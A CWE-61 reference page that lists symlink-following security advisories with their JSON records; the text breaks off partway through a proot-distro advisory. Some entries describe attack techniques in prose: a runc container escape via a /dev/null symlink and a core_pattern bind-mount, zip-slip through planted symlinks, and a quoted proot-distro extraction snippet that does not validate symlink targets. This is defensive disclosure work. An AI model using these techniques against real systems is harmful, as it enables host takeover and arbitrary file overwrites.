Common Weakness Enumeration

CWE-61

Allowed

UNIX Symbolic Link (Symlink) Following

Abstraction: Compound · Status: Incomplete

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

290 vulnerabilities reference this CWE, most recent first.

GHSA-8RM2-93MQ-JQHC

Vulnerability from github – Published: 2024-10-11 18:10 – Updated: 2024-10-15 19:53
VLAI
Summary
Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory.
Details

Impact

A maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.

Patches

Please use version 4.0.0 or later github.com/codeclysm/extract/v4. Any previous version is affected by the bug.

Workarounds

No knows workarounds.

Backward compatibility notes about upgrading to /v4 from /v3

If you're not using the extract.Extractor.FS interface, you will not face any breaking changes and upgrading should be as simple as changing the import to /v4. This should be the case for most of the userbase.

If you're using the Extractor.FS interface, then upgrading to /v4 will require to implement the new methods that have been added:

type FS interface {
    Link(string, string) error
    MkdirAll(string, os.FileMode) error
    OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)
    Symlink(string, string) error

    // The following methods have been added in the /v4 interface:

    Remove(path string) error
    Stat(name string) (os.FileInfo, error)
    Chmod(name string, mode os.FileMode) error
}

There should be no other breaking changes in the /v4 API.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/codeclysm/extract/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/codeclysm/extract/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/codeclysm/extract"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47877"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-11T18:10:24Z",
    "nvd_published_at": "2024-10-11T17:15:04Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.\n\n### Patches\nPlease use version 4.0.0 or later `github.com/codeclysm/extract/v4`. Any previous version is affected by the bug.\n\n### Workarounds\nNo knows workarounds.\n\n### Backward compatibility notes about upgrading to `/v4` from `/v3`\n\nIf you\u0027re not using the `extract.Extractor.FS` interface, you will not face any breaking changes and upgrading should be as simple as changing the import to `/v4`. This should be the case for most of the userbase.\n\nIf you\u0027re using the `Extractor.FS` interface, then upgrading to `/v4` will require to implement the new methods that have been added:\n\n```go\ntype FS interface {\n    Link(string, string) error\n    MkdirAll(string, os.FileMode) error\n    OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)\n    Symlink(string, string) error\n\n    // The following methods have been added in the /v4 interface:\n\n    Remove(path string) error\n    Stat(name string) (os.FileInfo, error)\n    Chmod(name string, mode os.FileMode) error\n}\n```\n\nThere should be no other breaking changes in the `/v4` API.\n",
  "id": "GHSA-8rm2-93mq-jqhc",
  "modified": "2024-10-15T19:53:17Z",
  "published": "2024-10-11T18:10:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/codeclysm/extract/security/advisories/GHSA-8rm2-93mq-jqhc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47877"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codeclysm/extract/commit/4a98568021b8e289345c7f526ccbd7ed732cf286"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/codeclysm/extract"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory."
}

GHSA-9493-H29P-RFM2

Vulnerability from github – Published: 2025-11-05 16:37 – Updated: 2025-11-18 18:36
VLAI
Summary
runc container escape via "masked path" abuse due to mount race conditions
Details

Impact ###

The OCI runtime specification has a maskedPaths feature that allows for files or directories to be "masked" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include /proc/kcore, /proc/timer_list, /proc/acpi, and /proc/keys).

maskedPaths can be used to either mask a directory or a file -- directories are masked using a new read-only tmpfs instance that is mounted on top of the masked path, while files are masked by bind-mounting the container's /dev/null on top of the masked path.

In all known versions of runc, when using the container's /dev/null to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container's /dev/null) was actually a real /dev/null inode. While /dev/null is usually created by runc when doing container creation, it is possible for an attacker to create a /dev/null or modify the /dev/null inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured).

This could lead to two separate issues:

Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) ####

By replacing /dev/null with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to:
Host Denial of Service: By bind-mounting files such as /proc/sysrq-trigger, the attacker can gain access to a read-write version of files which can be destructive to write to (/proc/sysrq-trigger would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting).
Container Escape: By bind-mounting /proc/sys/kernel/core_pattern, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host.

Note that while config.json allows users to bind-mount arbitrary paths (and thus an attacker that can modify config.json arbitrarily could gain the same access as this exploit), because maskedPaths is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals.

Attack 2: Bypassing maskedPaths ####

While investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting /dev/null for maskedPaths would ignore ENOENT errors -- meaning that if an attacker deleted /dev/null before runc did the bind-mount, runc would silently skip applying maskedPaths for the container. (The original purpose of this ENOENT-ignore behaviour was to permit configurations where maskedPaths references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.)

With maskedPaths rendered inoperative, an attacker would be able to access sensitive host information from files in /proc that would usually be masked (such as /proc/kcore). However, note that /proc/sys and /proc/sysrq-trigger are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1.

Patches ###

This advisory is being published as part of a set of three advisories:
* CVE-2025-31133 * CVE-2025-52881 * CVE-2025-52565

The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:
db19bbed5348 ("internal/sys: add VerifyInode helper")
8476df83b534 ("libct: add/use isDevNull, verifyDevNull")
1a30a8f3d921 ("libct: maskPaths: only ignore ENOENT on mount dest")
5d7b24240724 ("libct: maskPaths: don't rely on ENOTDIR for mount")

runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md

Mitigations ###

  • Use containers with user namespaces (with the host root user not mapped into the container's user namespace). This will block most of the most serious aspects of these attacks, as the procfs files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.

runc would also like to take this opportunity to re-iterate that runc strongly recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation inside the container -- most container runtimes apply a seccomp-bpf profile which blocks unshare(CLONE_NEWUSER) inside containers regardless of whether the container itself uses user namespaces.

Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc.

  • For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling noNewPrivileges to disable any setuid or set-capability binaries. (Note that this is runc's general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use ping in your containers, there is a net.ipv4.ping_group_range sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries.
  • Do not run untrusted container images from unknown or unverified sources.
  • Depending on the configuration of maskedPaths, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of /proc and /sys. This means that even with a procfs file maliciously bind-mounted to a maskedPaths target, all of the targets of maskedPaths in the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with a maskedPaths that is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.
  • Based on runc's analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the /dev/null bind-mount gets implicitly relabelled with context=... set to the container's SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn't.
    https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm

Other Runtimes ###

As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but their security stance is (understandably) that non-user-namespaced containers are fundamentally insecure by design.
https://linuxcontainers.org/lxc/security/

Credits ###

Thanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3's initial findings.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0-rc.1"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0-rc.1"
            },
            {
              "fixed": "1.4.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T16:37:15Z",
    "nvd_published_at": "2025-11-06T19:15:41Z",
    "severity": "HIGH"
  },
  "details": "### Impact ###  \nThe OCI runtime specification has a `maskedPaths` feature that allows for files or directories to be \"masked\" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include `/proc/kcore`, `/proc/timer_list`, `/proc/acpi`, and `/proc/keys`).  \n\n`maskedPaths` can be used to either mask a directory or a file -- directories are masked using a new read-only `tmpfs` instance that is mounted on top of the masked path, while files are masked by bind-mounting the container\u0027s `/dev/null` on top of the masked path.  \n\nIn all known versions of runc, when using the container\u0027s `/dev/null` to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container\u0027s `/dev/null`) was actually a real `/dev/null` inode. While `/dev/null` is usually created by runc when doing container creation, it is possible for an attacker to create a `/dev/null` or modify the `/dev/null` inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with `docker buildx build` as that also permits triggering parallel execution of containers with custom shared mounts configured).  \n\nThis could lead to two separate issues:  \n\n#### Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) ####  \nBy replacing `/dev/null` with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to:  \n* **Host Denial of Service**: By bind-mounting files such as `/proc/sysrq-trigger`, the attacker can gain access to a read-write version of files which can be destructive to write to (`/proc/sysrq-trigger` would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting).  \n* **Container Escape**: By bind-mounting `/proc/sys/kernel/core_pattern`, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host.  \n\nNote that while `config.json` allows users to bind-mount arbitrary paths (and thus an attacker that can modify `config.json` arbitrarily could gain the same access as this exploit), because `maskedPaths` is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals. \n\n#### Attack 2: Bypassing `maskedPaths` ####  \nWhile investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting `/dev/null` for `maskedPaths` would ignore `ENOENT` errors -- meaning that if an attacker deleted `/dev/null` before runc did the bind-mount, runc would silently skip applying `maskedPaths` for the container. (The original purpose of this `ENOENT`-ignore behaviour was to permit configurations where `maskedPaths` references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.)  \n\nWith `maskedPaths` rendered inoperative, an attacker would be able to access sensitive host information from files in `/proc` that would usually be masked (such as `/proc/kcore`). However, note that `/proc/sys` and `/proc/sysrq-trigger` are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1. \n\n### Patches ###  \nThis advisory is being published as part of a set of three advisories:  \n* CVE-2025-31133\n* CVE-2025-52881\n* CVE-2025-52565\n\nThe patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:  \n* db19bbed5348 (\"internal/sys: add VerifyInode helper\")  \n* 8476df83b534 (\"libct: add/use isDevNull, verifyDevNull\")  \n* 1a30a8f3d921 (\"libct: maskPaths: only ignore ENOENT on mount dest\")  \n* 5d7b24240724 (\"libct: maskPaths: don\u0027t rely on ENOTDIR for mount\")  \n\nrunc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc\u0027s new release model](https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md), runc 1.1.x and earlier are no longer supported and thus have not been patched.  https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md  \n\n### Mitigations ###  \n- Use containers with user namespaces (with the host root user not mapped into the container\u0027s user namespace). This will block most of the most serious aspects of these attacks, as the `procfs` files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.\n\n  runc would also like to take this opportunity to re-iterate that runc **strongly** recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation *inside* the container -- most container runtimes apply a seccomp-bpf profile which blocks `unshare(CLONE_NEWUSER)` inside containers regardless of whether the container itself uses user namespaces.\n\n  Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. \n\n- For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling `noNewPrivileges` to disable any setuid or set-capability binaries. (Note that this is runc\u0027s general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use `ping` in your containers, there is a `net.ipv4.ping_group_range` sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries.  \n - Do not run untrusted container images from unknown or unverified sources.  \n - Depending on the configuration of `maskedPaths`, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of `/proc` and `/sys`. This means that even with a procfs file maliciously bind-mounted to a `maskedPaths` target, all of the targets of `maskedPaths` in the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with a `maskedPaths` that is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881.  \n - Based on runc\u0027s analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the `/dev/null` bind-mount gets implicitly relabelled with `context=...` set to the container\u0027s SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn\u0027t.  \nhttps://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm  \n\n### Other Runtimes ###  \nAs this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but [their security stance](https://linuxcontainers.org/lxc/security/) is (understandably) that non-user-namespaced containers are fundamentally insecure by design.  \nhttps://linuxcontainers.org/lxc/security/  \n\n### Credits ###  \nThanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3\u0027s initial findings.",
  "id": "GHSA-9493-h29p-rfm2",
  "modified": "2025-11-18T18:36:38Z",
  "published": "2025-11-05T16:37:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/1a30a8f3d921acbbb6a4bb7e99da2c05f8d48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/5d7b2424072449872d1cd0c937f2ca25f418eb66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/8476df83b534a2522b878c0507b3491def48db9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/db19bbed5348847da433faa9d69e9f90192bfa64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencontainers/runc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "runc container escape via \"masked path\" abuse due to mount race conditions"
}

GHSA-94VH-GPHV-8PM8

Vulnerability from github – Published: 2025-03-17 21:26 – Updated: 2025-03-19 15:51
VLAI
Summary
zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write
Details

Summary

In the archive extraction routine of affected versions of the zip crate, symbolic links earlier in the archive are allowed to be used for later files in the archive without validation of the final canonicalized path, allowing maliciously crafted archives to overwrite arbitrary files in the file system when extracted.

Details

This is a variant of the zip-slip vulnerability, we can make the extraction logic step outside of the target directory by creating a symlink to the parent directory and then extracting further files through that symlink.

The documentation of the [::zip::read::ZipArchive::extract] method is in my opinion implying this should not happen:

"Paths are sanitized with ZipFile::enclosed_name." ... [::zip::read::FileOptions::enclosed_name] ... is resistant to path-based exploits ... can’t resolve to a path outside the current directory.

Most archive software either decline to extract symlinks that traverse out of the directory or defer creation of symlinks after all files have been created to prevent unexpected behavior when later entries depend on earlier symbolic link entries.

PoC

https://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85

Impact

Users who extract untrusted archive files using the following high-level API method may be affected and critical files on the system may be overwritten with arbitrary file permissions, which can potentially lead to code execution.

  • zip::unstable::stream::ZipStreamReader::extract
  • zip::read::ZipArchive::extract
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-29787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-22",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-17T21:26:32Z",
    "nvd_published_at": "2025-03-17T14:15:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n\nIn the archive extraction routine of affected versions of the `zip` crate, symbolic links earlier in the archive are allowed to be used for later files in the archive without validation of the final canonicalized path, allowing maliciously crafted archives to overwrite arbitrary files in the file system when extracted.\n\n### Details\n\nThis is a variant of the [zip-slip](https://github.com/snyk/zip-slip-vulnerability) vulnerability, we can make the extraction logic step outside of the target directory by creating a symlink to the parent directory and then extracting further files through that symlink.\n\nThe documentation of the [`::zip::read::ZipArchive::extract`] method is in my opinion implying this should not happen:\n\n\u003e \"Paths are sanitized with ZipFile::enclosed_name.\" ...\n\u003e [`::zip::read::FileOptions::enclosed_name`] ... is resistant to path-based exploits ... can\u2019t resolve to a path outside the current directory.\n\n\nMost archive software either decline to extract symlinks that traverse out of the directory or defer creation of symlinks after all files have been created to prevent unexpected behavior when later entries depend on earlier symbolic link entries.\n\n### PoC\n\nhttps://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85\n\n### Impact\n\nUsers who extract untrusted archive files using the following high-level API method may be affected and critical files on the system may be overwritten with arbitrary file permissions, which can potentially lead to code execution.\n\n- zip::unstable::stream::ZipStreamReader::extract\n- zip::read::ZipArchive::extract",
  "id": "GHSA-94vh-gphv-8pm8",
  "modified": "2025-03-19T15:51:04Z",
  "published": "2025-03-17T21:26:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29787"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zip-rs/zip2/commit/a2e062f37066c3b12860a32eb1cb44856cfb7afe"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zip-rs/zip2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zip-rs/zip2/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write"
}

GHSA-96P3-V9FQ-XHX4

Vulnerability from github – Published: 2024-04-15 18:30 – Updated: 2024-08-23 00:31
VLAI
Details

An issue discovered in 360 Total Security Antivirus through 11.0.0.1061 for Windows allows attackers to gain escalated privileges via Symbolic Link Follow to Arbitrary File Delete.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-15T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "An issue discovered in 360 Total Security Antivirus through 11.0.0.1061 for Windows allows attackers to gain escalated privileges via Symbolic Link Follow to Arbitrary File Delete.",
  "id": "GHSA-96p3-v9fq-xhx4",
  "modified": "2024-08-23T00:31:39Z",
  "published": "2024-04-15T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22014"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mansk1es/CVE_360TS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9P78-XGFP-85MW

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-10-26 12:00
VLAI
Details

A UNIX Symbolic Link (Symlink) Following vulnerability in python-HyperKitty of openSUSE Leap 15.2, Factory allows local attackers to escalate privileges from the user hyperkitty or hyperkitty-admin to root. This issue affects: openSUSE Leap 15.2 python-HyperKitty version 1.3.2-lp152.2.3.1 and prior versions. openSUSE Factory python-HyperKitty versions prior to 1.3.4-5.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-10T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A UNIX Symbolic Link (Symlink) Following vulnerability in python-HyperKitty of openSUSE Leap 15.2, Factory allows local attackers to escalate privileges from the user hyperkitty or hyperkitty-admin to root. This issue affects: openSUSE Leap 15.2 python-HyperKitty version 1.3.2-lp152.2.3.1 and prior versions. openSUSE Factory python-HyperKitty versions prior to 1.3.4-5.1.",
  "id": "GHSA-9p78-xgfp-85mw",
  "modified": "2022-10-26T12:00:32Z",
  "published": "2022-05-24T19:04:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25322"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1182373"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X6C-XP5W-CH33

Vulnerability from github – Published: 2026-06-23 15:32 – Updated: 2026-07-02 21:32
VLAI
Details

pwnlift before d7a9544, in a privileged deployment, contains a symlink following vulnerability in the upload handler in Components/Pages/Home.razor.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-56815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T15:16:40Z",
    "severity": "HIGH"
  },
  "details": "pwnlift before d7a9544, in a privileged deployment, contains a symlink following vulnerability in the upload handler in Components/Pages/Home.razor.",
  "id": "GHSA-9x6c-xp5w-ch33",
  "modified": "2026-07-02T21:32:04Z",
  "published": "2026-06-23T15:32:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rasta-mouse/pwnlift/commit/d7a95449d9ee1ea09ec1529286685f6187afbbed"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/06/23/2"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2026/Jul/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XQ3-3FQG-4VG7

Vulnerability from github – Published: 2026-07-29 16:32 – Updated: 2026-07-29 16:32
VLAI
Summary
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Details

Repository: termux/proot-distro
Component: proot_distro/commands/install.py_extract_plain_tar(); also helpers/docker.py_apply_layer()


Affected Versions

Component Version
proot-distro 5.0.2 (confirmed vulnerable)
Termux app 0.119.0-beta.3
Device / ABI Samsung Galaxy A23 / aarch64
Python (host) 3.13

Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
